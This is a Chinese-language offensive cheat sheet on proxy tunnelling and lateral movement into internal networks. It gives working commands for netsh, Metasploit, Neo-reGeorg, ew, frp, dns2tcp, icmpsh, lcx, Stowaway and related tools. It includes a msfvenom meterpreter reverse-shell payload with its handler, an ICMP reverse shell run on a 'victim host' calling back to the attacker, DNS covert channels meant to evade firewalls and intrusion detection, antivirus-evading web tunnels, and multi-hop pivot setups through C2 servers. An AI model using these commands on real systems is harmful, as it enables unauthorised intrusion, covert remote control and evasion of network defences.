代理隧道

1.netsh

端口转发

netsh interface portproxy add v4tov4 listenport=本地bind端口 connectaddress=目标服务器(IP) connectport=目标的端口

netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.10.10.10 connectport=80

查看规则

netsh interface portproxy show all

删除规则

netsh interface portproxy delete v4tov4 listenport=7777

删除所有规则

netsh interface portproxy reset

msf反弹shell

填写能够直接跟我们交互的域内机器ip
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.80 lport=4455 -f exe > r.exe
端口转发
netsh interface portproxy add v4tov4 listenport=4455 connectaddress=192.168.30.135 connectport=4455

> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set lhost 192.168.30.135
> set lport 4455
> exploit

2.Metasploit Portfwd

把自己的3389转到192.168.0.142的3389
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.0.142
查看所有转发
portfwd list
删除所有转发
portfwd flush

3.Neo-reGeorg

reGeorg是一个能穿透内网的工具,基于socks5而且支持的脚本众多,可以说是内网穿透神奇,但是作为使用率众多的软件,杀软都会拦截,使用还需要做免杀处理现有一个项目是reGeorg修改而来,而且做了加密处理,脚本也免杀项目地址:https://github.com/L-codes/Neo-reFeorg

服务器运行
python3 neoreg.py generate -k moonsec

在neoreg_server目录下生成了很多脚本,这些脚本都可以拿来做转发 然后选择对应的脚本上传到B服务器的Web目录下,访问一下没有报错的话就是正常的

python3 neoreg.py -k moonsec -u http://192.168.0.155/tunnel.aspx

此时我们设置socks5代理127.0.0.1:1080就是B的网络,那么也就可以顺利访问到C网段

4.ssh

搭建socks5

ssh -qTfnN -D 7070 root@8.210.55.154

● -C:压缩模式
● -D:本地的端口
● -q:安静模式
● -T:禁止远程分配终端
● -n:关闭标准输入
● -N:不执行远程命令
● -f:后台运行

本地转发

ssh -L 6666:10.10.10.155:80 moonsec@192.168.0.139 -fN
ssh -L 3307:localhost:3306 moonsec@192.168.0.139 -fN

此时访问本地的6666端口就能够访问到10.10.10.155的80端口

5.ew

由于太牛逼了 作者不更新了

https://github.com/idlefire/ew

本地开启socks服务
ew_for_Win.exe -s ssocksd -l 8888

服务端
ew_for_Win.exe -s rcsocks -l 1080 -e 1024
客户端连接c2
ew_for_Win.exe -s rssocks -d 10.10.10.153 -e 1024

三层网络内网环境

在vps上把1080端口的请求转发给888端口
ew -s rcsocks -l 1080 -e 888

A主机把B主机的999端口和vps的888端口连接
ew -s lcx_slave -d C2IP -e 888 -f 10.10.10.10 -g 999

B主机把999端口的数据发到777端口
ew -s lcx_listen -l 999 -e 777

C主机启动socks5服务并反弹到B主机的777端口上
ew -s rcsocks -d B主机ip -e 777

6.Tunna

感觉Neo-reGeorg是他的升级版

https://github.com/SECFORCE/Tunna

通过192.168.0.139/conn.aspx将10.10.10.155的3389端口转发到本地的4321端口

python2 proxy.py -u http://192.168.0.139/conn.aspx -l 4321 -a 10.10.10.155 -r 3389 -v

7.ptunnel

以前叫做Ptunnel是老牌软件,现在更新名字为pingtunnel

新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发)

老版本介绍:https://github.com/utoni/ptunnel-ng

yum -y install byacc 
yum -y install flex bison
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

客户端设置密码
ptunnel -x 1234

服务端连接
ptunnel -p 192.168.0.137 -lp 8080 -da 192.168.0.144 -dp 80 -x 1234

● -p:服务端IP
● -lp:本地端口
● -da:目标的IP
● -dp:目标的端口
● -x:密码

8.dns2tcp

dnscat2 iodine 也是类似软件

DNS是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在网络世界中DNS是必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现远控控制、文件传输等操作dns2tcp是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,用C语言开发它分为两个部分,服务端和客户端服务端运行在Linux服务器上客户端可以运行在Linux和Windows上编译完成在服务端的可执行文件名称为dns2tcpd,在客户端上的名称为dns2tcpc

image-20241112182818809

配置一个域名,增加一条A记录和NS记录
此时A记录是dns.xxx.com指向的121.5.51.111(c2),所以就会访问到121.5.51.111服务器

c2使用ubantu18
apt-get update
sudo apt-get install dns2tcp
修改dns2tcp配置文件/etc/dns2tcpd.conf
● listen=127.0.0.1修改成listen=0.0.0.0
● user = root
● key = moonsec
● domain = dns2tcp.8sq.cc
这个domain就是NS解析的记录,然后就可以保存了
服务端启动
dns2tcpd -f /etc/dns2tcpd.conf -F -d 3
如果出现错误可能端口被占用,查出端口的进程id然后使用kill结束就可以启动了
netstat -anp | grep 53
kill 进程ID
阿里云的话会有一个服务占用,并且Kill不掉,阿里云默认服务关闭
systemctl stop systemd-resolve
再次启动服务端

客户端连接
dns2tcpc -r ssh -k moonsec -z dns2tcp.8sq.cc 121.5.51.000 -l 8888 -c -d 3
● -k:密码
● -z:domain
监听本地的8888端口
此时Xshell连接本地的8888端口就可以连接到B的ssh了
连接上来之后点击下面的转移规则

img

类型为Dynamic 然后我们就可以代理127.0.0.1:1080

9.frp

Frp是一个可用于内网穿透的高性能反向代理应用,支持tcpudp协议,为http和https应用协议提供了额外的能力,且尝试性支持了点对点穿透

详细说明:https://github.com/fatedier/frp/blob/master/README_zh.md

下载地址:https://github.com/fatedier/frp/releases

wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_amd64.tar.gz
tar zxvf frp_0.33.0_linux_amd64.tar.gz
mv frp_0.33.0_linux_amd64 frp
cd frp

修改frps.ini
bind_port=7000
token = moonsec2020

启动
./frps -c frps.ini

下载和操作系统对应的Frp版本,然后修改frpc.ini配置文件
修改server_addr为我们服务器的IP地址,端口是7000,如果服务器端没有修改这里也不用修改
并且添加token参数
下面ssh的意思是访问服务器的6000端口,就会映射到这个客户端的22端口
我们添加一个80端口的映射
[web]
type=tcp
local_ip=127.0.0.1
local_port=80
remote_port=7777
`

添加80端口映射
这样我们访问服务器端的7777端口就会访问到客户端127.0.0.1的80端口
实现了把C的80端口映射给B的7777

客户端运行
frpc.exe -c frpc.ini

10.nps

https://github.com/ehang-io/nps

使用参考

https://github.com/ehang-io/nps/blob/master/README_zh.md

11.icmpsh

https://github.com/bdamele/icmpsh

可以低权限运行,不需要管理员权限

apt-get install python-impacket
//关闭ICMP应答
sysctl -w net.ipv4.icmp_echo_ignore_all=1

//开启ICMP应答
sysctl -w net.ipv4.icmp_echo_ignore_all=0

//攻击机上执行(KALI或者VPS)
python icmpsh_m.py <攻击机IP> <内网出网口的公网地址>(可能为内网防火墙的地址,可通过TcpDump 监听ICMP ,在受害主机上进行PING VPS 从而得知,两者要能互相PING通)
如:
python icmpsh_m.py 192.168.55.3 192.168.55.16

//靶机上执行
icmpsh.exe -t 攻击机IP -d 500 -s 128
如:
icmpsh.exe -t 192.168.55.3 -d 500 -s 128

12.lcx

lcx是一个基于Socket套接字实现的端口转发工具,有windows和linux两个版本。windows版本为lcx.exe,Linux版本为portmap。

一个正常的socket隧道必须具备两端:一段为服务端,监听一个端口,等待客户端的连接;另一端为客户端,通过传入服务端的IP地址和端口,才能主动与服务器连接

将目标机器的3389端口数据转发到VPS的4444端口上
lcx.exe -slave 110.40.137.64 4444 127.0.0.1 3389

将vps上4444端口的流量转发到5555端口上
lcx.exe -listen 4444 5555

此时连接VPS的5555端口就相当于连接目标机器的3389端口

13.powercat

PowerCat就是powershell版本的nc。

powercat下载地址:https://github.com/besimorhino/powercat

导入
Import-Module .\powercat.ps1
报错则修改权限
Set-ExecutionPolicy RemoteSigned

14.Stowaway

https://github.com/ph4ntonn/Stowaway

#服务端启动
./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32
#客户端
./stowaway_macos_x64_agent -c <VPS IP地址>:61032 -s aab32
#建立连接后,在服务端选中上线的节点,并且执行socks命令即可。
use 0
# socks 端口 用户名 密码
socks 55667 username password
此时使用 socks5://username:password@<VPS IP>:55667 就可以代理到被控端的内网了。

多级代理

1.frp

image-20240409下午44545637

服务端(外网VPS)配置frps.toml一级代理 一致

bindPort = 49378
auth.token = "helloxx.6haha7789"
#port,token自定义 保持客户端与服务端一致即可

由于客户端1(内网机器A)需要充当中转作用,即对于外网VPS来说是客户端,对于内网机器B来说是服务端,因此存在有2份配置文件,分别启动客户端和服务端。

其中服务端配置 frps.toml 如下:

bindPort = 49378

客户端配置frpc.toml如下:

serverAddr = "1.2.3.4" # 改为 VPS 的 IP 地址
serverPort = 49378
auth.token = "helloxx.6haha7789"

[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 60051
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"

[[proxies]]
name = "portforward"
type = "tcp"
localIP = "127.0.0.1"
remotePort = 60052 # 别和上方的remotePort冲突就行
localPort = 6000 # 把本地的6000端口映射出去

接下来在客户端2(内网机器B)上配置 frpc.toml 如下,和客户端1(内网机器A)建立隧道。

serverAddr = "1.2.3.5" # 改为 内网机器A 的地址
serverPort = 49378

[[proxies]]
name = "plugin_socks5_two"
type = "tcp"
remotePort = 6000 # 修改为上面的 localPort,表明通过 内网机器A 的该端口可以访问到当前的内网
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"

这样一套启动下来后,通过外网VPS socks5://<账号>:<密码>@<外网VPS IP地址>:60052 就可以访问到客户端2(内网机器B)的内网了。

2.Stowaway

#c2执行
./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32

#内网机器A上执行
./stowaway_linux_x64_admin -c <VPS IP地址>:61032 -s aab32

#这时候外网VPS和内网机器A已经建立连接了,进入内网机器A的node节点,执行listen监听端口
use 0
listen

#此时再在内网机器B上执行如下命令和内网机器A建立连接:
./stowaway_macos_x64_agent -c <内网机器A IP地址>:23123 -s aab32

#执行后可以在外网VPS上看到内网机器B已经上线,这个时候进入该节点再执行socks命令开启代理即可:
use 1
socks 55667 username password

#此时即可通过 socks5://username:password@<VPS IP>:55667 访问到内网机器B的内网了。